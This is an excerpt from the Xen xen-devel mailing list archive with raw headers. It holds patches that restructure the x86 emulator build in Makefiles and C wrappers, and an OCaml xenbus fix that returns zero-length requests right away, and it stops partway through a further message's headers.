--- a/tools/tests/x86_emulator/x86-emulate.c
+++ b/tools/tests/x86_emulator/x86-emulate.c
@@ -3,27 +3,6 @@
 #include <errno.h>
 #include <sys/mman.h>
 
-/* See gcc bug 100680, but here don't bother making this version dependent. */
-#define gcc11_wrap(x) ({                  \
-    unsigned long x_;                     \
-    __asm__ ( "" : "=g" (x_) : "0" (x) ); \
-    (typeof(x))x_;                        \
-})
-
-#define cpu_has_amd_erratum(nr) 0
-#define cpu_has_mpx false
-#define read_bndcfgu() 0
-#define xstate_set_init(what)
-
-/* For generic assembly code: use macros to define operation/operand sizes. */
-#ifdef __i386__
-# define __OS          "l"  /* Operation Suffix */
-# define __OP          "e"  /* Operand Prefix */
-#else
-# define __OS          "q"  /* Operation Suffix */
-# define __OP          "r"  /* Operand Prefix */
-#endif
-
 uint32_t mxcsr_mask = 0x0000ffbf;
 struct cpu_policy cpu_policy;
 
--- a/xen/arch/x86/Makefile
+++ b/xen/arch/x86/Makefile
@@ -69,7 +69,6 @@ obj-y += traps-setup.o
 obj-y += traps.o
 obj-$(CONFIG_INTEL) += tsx.o
 obj-$(CONFIG_VM_EVENT) += vm_event.o
-obj-y += x86_emulate.o
 obj-y += xstate.o
 
 ifneq ($(CONFIG_PV_SHIM_EXCLUSIVE),y)
@@ -86,13 +85,6 @@ hostprogs-y += efi/mkreloc
 
 $(obj)/efi/mkreloc: HOSTCFLAGS += -I$(srctree)/include
 
-ifneq ($(CONFIG_HVM),y)
-$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
-endif
-ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
-$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
-endif
-
 efi-y := $(shell if [ ! -r $(objtree)/include/xen/compile.h -o \
                       -O $(objtree)/include/xen/compile.h ]; then \
                          echo '$(TARGET).efi'; fi) \
--- a/xen/arch/x86/x86_emulate.c
+++ /dev/null
@@ -1,37 +0,0 @@
-/******************************************************************************
- * x86_emulate.c
- * 
- * Wrapper for generic x86 instruction decoder and emulator.
- * 
- * Copyright (c) 2008, Citrix Systems, Inc.
- * 
- * Authors:
- *    Keir Fraser <keir@xen.org>
- */
-
-#include <xen/event.h>
-
-#include <asm/x86_emulate.h>
-#include <asm/processor.h> /* current_cpu_info */
-#include <asm/xstate.h>
-#include <asm/amd.h> /* cpu_has_amd_erratum() */
-
-/* Avoid namespace pollution. */
-#undef cmpxchg
-#undef cpuid
-#undef wbinvd
-
-#define cpu_has_amd_erratum(nr) \
-        cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
-
-#include "x86_emulate/x86_emulate.c"
-
-/*
- * Local variables:
- * mode: C
- * c-file-style: "BSD"
- * c-basic-offset: 4
- * tab-width: 4
- * indent-tabs-mode: nil
- * End:
- */
--- a/xen/arch/x86/x86_emulate/Makefile
+++ b/xen/arch/x86/x86_emulate/Makefile
@@ -1,3 +1,14 @@
+# Put this ahead of the sorted list below, as it takes long to build and hence
+# we'd like parallel make to schedule its building early.
+obj-y += x86_emulate.o
+
+ifneq ($(CONFIG_HVM),y)
+$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
+endif
+ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
+$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
+endif
+
 obj-y += 0f01.o
 obj-y += 0fae.o
 obj-y += 0fc7.o
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -8,6 +8,48 @@
  * Copyright (c) 2005-2007 XenSource Inc.
  */
 
+#ifdef __XEN__
+
+# include <xen/event.h>
+
+# include <asm/amd.h> /* cpu_has_amd_erratum() */
+# include <asm/processor.h> /* current_cpu_info */
+# include <asm/x86_emulate.h>
+# include <asm/xstate.h>
+
+/* Avoid namespace pollution. */
+# undef cmpxchg
+# undef cpuid
+# undef wbinvd
+
+# define cpu_has_amd_erratum(nr) \
+         cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
+
+#else /* !__XEN__ */
+
+/* See gcc bug 100680, but here don't bother making this version dependent. */
+# define gcc11_wrap(x) ({                  \
+     unsigned long x_;                     \
+     __asm__ ( "" : "=g" (x_) : "0" (x) ); \
+     (typeof(x))x_;                        \
+})
+
+# define cpu_has_amd_erratum(nr) 0
+# define cpu_has_mpx false
+# define read_bndcfgu() 0
+# define xstate_set_init(what)
+
+/* For generic assembly code: use macros to define operation/operand sizes. */
+# ifdef __i386__
+#  define __OS          "l"  /* Operation Suffix */
+#  define __OP          "e"  /* Operand Prefix */
+# else
+#  define __OS          "q"  /* Operation Suffix */
+#  define __OP          "r"  /* Operand Prefix */
+# endif
+
+#endif /* __XEN__ */
+
 #include "private.h"
 
 /*



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:58:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:58:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358046.1612337 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnOU-0002C6-1u; Thu, 09 Jul 2026 11:58:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358046.1612337; Thu, 09 Jul 2026 11:58:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnOT-0002Bx-VP; Thu, 09 Jul 2026 11:58:17 +0000
Received: by outflank-mailman (input) for mailman id 1358046;
 Thu, 09 Jul 2026 11:58:16 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whnOS-0002BU-QA
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:58:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnOS-00326D-3a
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:58:16 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8cd4-5cb7-0a2a0a5109dd-0a2a45039676-26
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:58:16 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8cd7-f2d2-0a2a45030019-d1558033a92e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:58:16 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493c1950518so5318615e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:58:15 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb74835esm63112805e9.14.2026.07.09.04.58.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 04:58:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783598295; x=1784203095; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=tvRfgrGWKZkC1zkXNs2XEBUHm2ioUzCUDvRe6NNTofA=;
        b=K3GAdX1CSLGqZa23a2BegHBO76HetPbdyXv1+SIaC8gOAfGeqmXs5oesxuZoqsRgHU
         9iFq6EEbjdTUl+whq2fdkuA7II4XybyXBCVD7Rju7Hp9nn2v0RmLCYw7H/pCrljDLs0n
         MncjeVzDrBxHi7X7VcOasYkurQaDSRr2NMA3q4luzYhUCN8TAJzlR+ICb9ne5nkRzr4U
         YEnK/D/amXgZmdGYJ6IR+bysN8zbjZJkBdbmyIU5LabvVhx+V/+e45m23GK8wW7kCd1S
         UU1PcxlFoQIblcYeJTno94w0VTkZj7ayP1XHo2iMzGXANnvsHbTvavQ9lN+eWwsrV8/w
         LiGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783598295; x=1784203095;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=tvRfgrGWKZkC1zkXNs2XEBUHm2ioUzCUDvRe6NNTofA=;
        b=GKrkyX2nnxPv+hm5Oe3eltT2vR0Fs9/xseXA/G94xhSnxILE7wbDNC/lZ6qdjFIOhF
         s7qXE00L5GXfWfq+VYKuSCDuk9/h58kSV5CT4te1KRKLPkPOWpjTfA4lgx8g23cmBbpM
         pFdch1LjMJmulgV2P2TE36Y+IiJ+1ow0oCwuE0HDuIvcsI8SPFg6EXFrBZHXEhHf1FLA
         SKC8He7XKBjckQmI8uCMMqa0DM9Mzg3UwjrWAxvesygweM3yzu9adO1KcbhjARVMJT3C
         fvtLW5jfiJAjux/OkEaOQuvP9830UPJRQuz5gRstmML4Qag39XkxlmKwslxIjhaApbUN
         y+zA==
X-Gm-Message-State: AOJu0Yw81qDgwlPT6IFBGUs1hmJf6ktrymqfJTeNs5zjCU1cS8E767w0
	L2Rn/ByOTTFzLSGHv+89VMZllhSr7r+Nta6pYEbC3XFIzJ1b74rckeZD4O/cm2mujfnBiEHwlUA
	p7zIZxg==
X-Gm-Gg: AfdE7cmM5VnhqvV4KRoJGvGEaEoF5Sla/2/aaybYsOyi/NENSa2mTK9ig9uiFCO6v0U
	1vjel7GxjYnZoX1NLNTvOPwep/dE9OeCSFZQkMnzqoiuVABFF7fDji1kHgpFHdMGVnj10Yl3+rG
	S1v3VOrN+frhgGUy7F7OSPJqj2UMIwChZIFnRYKuxZpohF2CFHhfecpkb6UHKWZa3GM6AK34UML
	lXFr3V38iN/5nRbaV4UhW1p//E5RNWy5w4hvK1xrsQBsAHjrpkO1lt8o1YsQrcClknuBYZrrPXr
	Y8TCbiQEtk++AoNaKudJOzv5cNDvWHlduiHE4ea3mmuK3P9+TWV2pLcjzljA10WNEa8Oeo3T3sK
	Qi+fHxjO6s11MNFV4QChMFMOfpkpcDNDW61BWrpzZ+ZdGmukw3uxPnODs7VHsqHkW25dw+Xqxoh
	rZ6wfhIbdRoX4spxNZOLM8o8NZuKevPVXYahB9AcYC9pxbE0m8gVz061gEg58y/BIRejdUItLBM
	Ioc
X-Received: by 2002:a05:600c:3507:b0:493:b698:9247 with SMTP id 5b1f17b1804b1-493ec76927amr24205935e9.14.1783598295537;
        Thu, 09 Jul 2026 04:58:15 -0700 (PDT)
Message-ID: <898091b0-0c73-4829-a3b4-c8da6026a40c@suse.com>
Date: Thu, 9 Jul 2026 13:58:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 2/2] x86: put x86_emulate/ early in $(obj-y)
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783598296-C2AAECF4-901FAD90/0/0
X-purgate-type: clean
X-purgate-size: 573

... such that in parallel builds make would schedule it early.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/x86/Makefile
+++ b/xen/arch/x86/Makefile
@@ -1,3 +1,7 @@
+# Put this ahead of the sorted list below, as it takes long to build and hence
+# we'd like parallel make to schedule its building early.
+obj-y += x86_emulate/
+
 obj-y += acpi/
 obj-y += boot/
 obj-y += cpu/
@@ -9,7 +13,6 @@ obj-y += lib/
 obj-y += mm/
 obj-$(CONFIG_PV) += pv/
 obj-y += x86_64/
-obj-y += x86_emulate/
 
 obj-y += alternative.o
 obj-y += apic.o



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 12:00:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 12:00:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358064.1612346 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnQl-0003uj-KM; Thu, 09 Jul 2026 12:00:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358064.1612346; Thu, 09 Jul 2026 12:00:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnQl-0003uc-HD; Thu, 09 Jul 2026 12:00:39 +0000
Received: by outflank-mailman (input) for mailman id 1358064;
 Thu, 09 Jul 2026 12:00:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@swg.vates.tech>)
 id 1whnQj-0003uW-Ht
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:00:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnQi-00DUQm-Uo
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 14:00:36 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@swg.vates.tech>)
 id 6a4f8d5b-2eae-0a2a0a5409dd-0a2a450bd4b0-42
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:00:36 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@swg.vates.tech>)
 id 6a4f8d64-b7da-0a2a450b0019-b9ff1c229b9b-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:00:36 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f46c03b15000edb5.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 09 Jul 2026 12:00:30 +0000
Received: from nixpc.gpn.vates.fr
 (cpc92322-cmbg19-2-0-cust1759.5-4.cable.virginm.net [86.26.38.224])
 (Authenticated sender: andriy.sultanov)
 by mail2.vates.fr (Postfix) with ESMTPSA id 23FC981C0B;
 Thu,  9 Jul 2026 14:00:28 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=RTnYH73xURiICL/d2/DiyoZ1v9xWUiiOBevGWfBVi3k=;
 h=from:subject:date:message-id:to:cc:mime-version:content-transfer-encoding:feedback-id;
 b=aKmd/qGjLpUWSyh5A6VcUZqDcJ0wk+qJEhaDKm9E0/fGdfCllWedjbaK1yUsfilp66ZfxSZ0f
 dxS3mR6RECmvHsU/D+6i6E8l/F3UZMwKtsNDrfRL0adxxnNOP0Mw+Rgt9bUA3mD+B3MKt6kPB2j
 Jj54jybm4cnNZgUGs6hyroKH1WgTV1jHXHaglHUN+3hSKMzcTjZ6oPIAFErcg9Eg6d/eOXij2S8
 JO6lws7LK3kJVvWRPUKivgiQG6uk94lwyxtGGbLyUAdyqr86cZ3LPnlNdWgs3h29M4S5t9Ncpjj
 E04yq4ey9HjiMuxoKDVtxczmp1hTFm8yt5byBg0Z/GPw==
X-Zone-Loop: fcd810df306e8e149ff87e0afee56a8619948377eced
x-campaign-type: default
x-transaction-id: 59c99f91-3d67-4723-8ce1-49870b1ad20b
x-swg-uid: 01-00cc029c-2697-4833-a954-7fb64f9b9546
X-Mailer: Sweego
Message-ID:
 <1783598431.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@vates.tech>
x-swg-bid: 1783598431.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Andrii Sultanov <andriy.sultanov@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Andrii Sultanov <andriy.sultanov@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	George Dunlap <dunlapg@umich.edu>
Subject: [PATCH v1] tools/ocaml: xenbus - Fix handling of requests with len = 0 for socket connections
Date: Thu,  9 Jul 2026 12:00:09 +0000
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783598428414
X-purgate-ID: tlsNG-42698a/1783598436-4A3749ED-5914E706/0/0
X-purgate-type: clean
X-purgate-size: 2370

Following the report at https://lore.kernel.org/xen-devel/CAFLBxZaeTMcF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail.gmail.com/

Without this fix, the backend would be stuck waiting on the zero-sized
body until the next request comes in.

Instead return the request immediately after reading the header, there's
no need to wait for another call to .has_more_input and .input

Reported-by: George Dunlap <dunlapg@umich.edu>
Signed-off-by: Andrii Sultanov <andriy.sultanov@vates.tech>
---
 tools/ocaml/libs/xb/xb.ml | 25 +++++++++++++++++++------
 1 file changed, 19 insertions(+), 6 deletions(-)

diff --git a/tools/ocaml/libs/xb/xb.ml b/tools/ocaml/libs/xb/xb.ml
index 3e3ef2b29d..12ddb05c6d 100644
--- a/tools/ocaml/libs/xb/xb.ml
+++ b/tools/ocaml/libs/xb/xb.ml
@@ -249,6 +249,11 @@ let can_input con = Queue.can_push con.pkt_out CommandReply
 
 (* NB: can throw Reconnect *)
 let input con =
+  let reset_and_return partial_pkt =
+    let pkt = Packet.of_partialpkt partial_pkt in
+    con.partial_in <- init_partial_in ();
+    Some pkt
+  in
   if not (can_input con) then None
   else
     let to_read = to_read con in
@@ -264,17 +269,25 @@ let input con =
         if sz > 0 then
           Partial.append partial_pkt (Bytes.to_string b) sz;
         if Partial.to_complete partial_pkt = 0 then (
-          let pkt = Packet.of_partialpkt partial_pkt in
-          con.partial_in <- init_partial_in ();
-          Some pkt
+          reset_and_return partial_pkt
         ) else None
       | NoHdr (i, buf)      ->
         (* we complete the partial header *)
         if sz > 0 then
           Bytes.blit b 0 buf (Partial.header_size () - i) sz;
-        con.partial_in <- if sz = i then
-            HaveHdr (Partial.of_string (Bytes.to_string buf)) else NoHdr (i - sz, buf);
-        None
+        if sz = i then
+          let partial_pkt = Partial.of_string (Bytes.to_string buf) in
+          (* If there is no body, we can return the full request immediately *)
+          if Partial.to_complete partial_pkt = 0 then
+            reset_and_return partial_pkt
+          else (
+            con.partial_in <- HaveHdr partial_pkt;
+            None
+          )
+        else (
+          con.partial_in <- NoHdr (i - sz, buf);
+          None
+        )
     )
 
 let classify t =
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 12:08:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 12:08:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358078.1612355 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnYZ-0004nm-Be; Thu, 09 Jul 2026 12:08:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358078.1612355; Thu, 09 Jul 2026 12:08:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnYZ-0004nf-8k; Thu, 09 Jul 2026 12:08:43 +0000
Received: by outflank-mailman (input) for mailman id 1358078;
 Thu, 09 Jul 2026 12:08:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whnYX-0004nZ-6B
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:08:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnYW-00BbsW-3T
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 14:08:40 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8f47-e002-0a2a0a5209dd-0a2a4503d0ec-2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:08:40 +0200
Received: from [40.107.130.100]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8f47-f2d2-0a2a45030019-286b8264fcf7-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:08:39 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by VI0PR03MB10445.eurprd03.prod.outlook.com (2603:10a6:800:201::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 12:08:37 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 12:08:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fezcNCTJ2ONvPaJIet5Ofh0PztGI/oRlPjCrECtEVo/FinJ3wuE+piNiz7COQ9rV1hTySRjxnr0Izo4lDC/7e0GGvw7PVYGjOEV5sWtjBXLHAkgUZ65RCXTna4ka/iZJbRFo4X87Hyyav1/2IrzilhUEy3hu+CaRW5hyLlDt5rNrmqRZ9X+CjpHv8b84Ag00hIDIlGRKc3t2nCR9Pj6KPdtxjuaElB2OAxOD5DFgNRBh/N2mAWSg4eA4buhaLu7gIL/H7rNl4NKGEzPkp7/57YCcSy6N3W4TtX1B24sWp/FI5BIo+BXi8H2io4GbKLODtj+kkCDEiQCB8DUpWkzKsw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
